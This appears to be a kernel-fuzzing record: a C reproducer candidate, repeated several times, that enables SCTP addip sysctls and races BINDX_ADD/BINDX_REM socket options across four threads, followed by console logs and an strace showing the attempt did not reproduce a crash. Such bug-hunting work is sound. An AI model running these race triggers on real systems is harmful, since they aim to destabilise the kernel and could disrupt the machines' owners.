struct sctp_rtoinfo {
    uint32_t srto_assoc_id;
    uint32_t srto_initial;
    uint32_t srto_max;
    uint32_t srto_min;
};

void *client_thread(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    while (1) {
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, &addr, sizeof(addr));
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, &addr, sizeof(addr));
    }
    return NULL;
}

int main() {
    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }
    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }

    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind: %s\n", strerror(errno));
        return 1;
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        return 1;
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }
    if (setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }
    
    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] Connected successfully.\n");

    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, &client_fd);
    }

    sleep(10);
    printf("[+] Done.\n");
    return 0;
}]

map[IsProbe:false RawCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#define SCTP_RTOINFO 0
#define SCTP_SOCKOPT_BINDX_ADD 100
#define SCTP_SOCKOPT_BINDX_REM 101

struct sctp_rtoinfo {
    uint32_t srto_assoc_id;
    uint32_t srto_initial;
    uint32_t srto_max;
    uint32_t srto_min;
};

void *client_thread(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    while (1) {
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, &addr, sizeof(addr));
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, &addr, sizeof(addr));
    }
    return NULL;
}

int main() {
    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }
    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }

    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind: %s\n", strerror(errno));
        return 1;
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        return 1;
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }
    if (setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }
    
    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] Connected successfully.\n");

    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, &client_fd);
    }

    sleep(10);
    printf("[+] Done.\n");
    return 0;
}]

map[CurrentCandidateReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#define SCTP_RTOINFO 0
#define SCTP_SOCKOPT_BINDX_ADD 100
#define SCTP_SOCKOPT_BINDX_REM 101

struct sctp_rtoinfo {
    uint32_t srto_assoc_id;
    uint32_t srto_initial;
    uint32_t srto_max;
    uint32_t srto_min;
};

void *client_thread(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    while (1) {
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, &addr, sizeof(addr));
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, &addr, sizeof(addr));
    }
    return NULL;
}

int main() {
    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }
    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }

    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind: %s\n", strerror(errno));
        return 1;
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        return 1;
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }
    if (setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }
    
    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] Connected successfully.\n");

    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, &client_fd);
    }

    sleep(10);
    printf("[+] Done.\n");
    return 0;
}]

map[CompilerError: FormattedReproC:#define _GNU_SOURCE
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <fcntl.h>

#ifndef IPPROTO_SCTP
#define IPPROTO_SCTP 132
#endif

#ifndef SOL_SCTP
#define SOL_SCTP 132
#endif

#define SCTP_RTOINFO 0
#define SCTP_SOCKOPT_BINDX_ADD 100
#define SCTP_SOCKOPT_BINDX_REM 101

struct sctp_rtoinfo {
    uint32_t srto_assoc_id;
    uint32_t srto_initial;
    uint32_t srto_max;
    uint32_t srto_min;
};

void *client_thread(void *arg) {
    int fd = *(int *)arg;
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.2");

    while (1) {
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, &addr, sizeof(addr));
        setsockopt(fd, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, &addr, sizeof(addr));
    }
    return NULL;
}

int main() {
    int sysctl_fd = open("/proc/sys/net/sctp/addip_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }
    sysctl_fd = open("/proc/sys/net/sctp/addip_noauth_enable", O_WRONLY);
    if (sysctl_fd >= 0) {
        if (write(sysctl_fd, "1", 1) < 0) {
            /* Ignore error */
        }
        close(sysctl_fd);
    }

    int server_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (server_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }

    struct sctp_rtoinfo rtoinfo;
    memset(&rtoinfo, 0, sizeof(rtoinfo));
    rtoinfo.srto_initial = 1;
    rtoinfo.srto_min = 1;
    rtoinfo.srto_max = 1;
    if (setsockopt(server_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }

    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    addr.sin_family = AF_INET;
    addr.sin_port = htons(12345);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] bind: %s\n", strerror(errno));
        return 1;
    }
    if (listen(server_fd, 10) < 0) {
        printf("[-] listen: %s\n", strerror(errno));
        return 1;
    }

    int client_fd = socket(AF_INET, SOCK_STREAM, IPPROTO_SCTP);
    if (client_fd < 0) {
        printf("[-] socket: %s\n", strerror(errno));
        return 1;
    }
    if (setsockopt(client_fd, SOL_SCTP, SCTP_RTOINFO, &rtoinfo, sizeof(rtoinfo)) < 0) {
        printf("[-] setsockopt SCTP_RTOINFO: %s\n", strerror(errno));
        return 1;
    }
    
    if (connect(client_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) {
        printf("[-] connect: %s\n", strerror(errno));
        return 1;
    }

    printf("[+] Connected successfully.\n");

    pthread_t th[4];
    for (int i = 0; i < 4; i++) {
        pthread_create(&th[i], NULL, client_thread, &client_fd);
    }

    sleep(10);
    printf("[+] Done.\n");
    return 0;
}]

map[CompilerError:]

map[CandidateBugTitle: CandidateCrashReport: CandidateReproduced:false ConsoleOutput:[   60.398117][   T33] kauditd_printk_skb: 10 callbacks suppressed
[   60.398176][   T33] audit: type=1400 audit(1788282902.486:200): avc:  denied  { transition } for  pid=5826 comm="sshd-session" path="/bin/sh" dev="sda1" ino=90 scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399807][   T33] audit: type=1400 audit(1788282902.486:201): avc:  denied  { noatsecure } for  pid=5826 comm="sshd-session" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399826][   T33] audit: type=1400 audit(1788282902.486:202): avc:  denied  { rlimitinh } for  pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
[   60.399839][   T33] audit: type=1400 audit(1788282902.486:203): avc:  denied  { siginh } for  pid=5826 comm="sh" scontext=system_u:system_r:sshd_t tcontext=root:sysadm_r:sysadm_t tclass=process permissive=1
Warning: Permanently added '[localhost]:20457' (ED25519) to the list of known hosts.
[   62.828209][   T33] audit: type=1400 audit(1788282904.916:204): avc:  denied  { create } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834958][   T33] audit: type=1400 audit(1788282904.916:205): avc:  denied  { setopt } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834980][   T33] audit: type=1400 audit(1788282904.916:206): avc:  denied  { bind } for  pid=5839 comm="syz-executor387" scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   62.834993][   T33] audit: type=1400 audit(1788282904.916:207): avc:  denied  { name_bind } for  pid=5839 comm="syz-executor387" src=12345 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:unreserved_port_t tclass=sctp_socket permissive=1
[   62.835006][   T33] audit: type=1400 audit(1788282904.916:208): avc:  denied  { node_bind } for  pid=5839 comm="syz-executor387" saddr=127.0.0.1 src=12345 scontext=root:sysadm_r:sysadm_t tcontext=system_u:object_r:node_t tclass=sctp_socket permissive=1
[   62.835019][   T33] audit: type=1400 audit(1788282904.916:209): avc:  denied  { listen } for  pid=5839 comm="syz-executor387" laddr=127.0.0.1 lport=12345 scontext=root:sysadm_r:sysadm_t tcontext=root:sysadm_r:sysadm_t tclass=sctp_socket permissive=1
[   65.526573][   T33] kauditd_printk_skb: 12 callbacks suppressed
[   65.526626][   T33] audit: type=1400 audit(1788282907.616:222): avc:  denied  { write } for  pid=5874 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.623831][   T33] audit: type=1400 audit(1788282907.706:223): avc:  denied  { write } for  pid=5877 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   65.983406][   T33] audit: type=1400 audit(1788282908.066:224): avc:  denied  { write } for  pid=5880 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.069967][   T33] audit: type=1400 audit(1788282908.156:225): avc:  denied  { write } for  pid=5883 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.209056][   T33] audit: type=1400 audit(1788282908.296:226): avc:  denied  { write } for  pid=5886 comm="dhcpcd-run-hook" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.253409][   T33] audit: type=1400 audit(1788282908.336:227): avc:  denied  { write } for  pid=5889 comm="rm" name="hook-state" dev="tmpfs" ino=1794 scontext=system_u:system_r:dhcpc_t tcontext=system_u:object_r:tmpfs_t tclass=dir permissive=1
[   66.425891][ T1379] ieee802154 phy0 wpan0: encryption failed: -22
[   66.425955][ T1379] ieee802154 phy1 wpan1: encryption failed: -22
[+] Connected successfully.
[+] Done.
[   76.667719][ T2225] cfg80211: failed to load regulatory.db
 OtherCrashReports:<nil> StraceOutput:/strace -e \!wait4,clock_nanosleep,nanosleep -s 100 -x -f /syz-executor2878070744

<...>
hed ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16) = -1 EINVAL (Invalid argument)
[pid  5851] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5851] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5849] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_ADD, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5852] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5850] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5849] <... setsockopt resumed>)   = -1 EINVAL (Invalid argument)
[pid  5852] setsockopt(4, SOL_SCTP, SCTP_SOCKOPT_BINDX_REM, "\x02\x00\x30\x39\x7f\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x00", 16 <unfinished ...>
[pid  5850] <... setsockopt resumed>)   = -1 EBUSY (Device or resource busy)
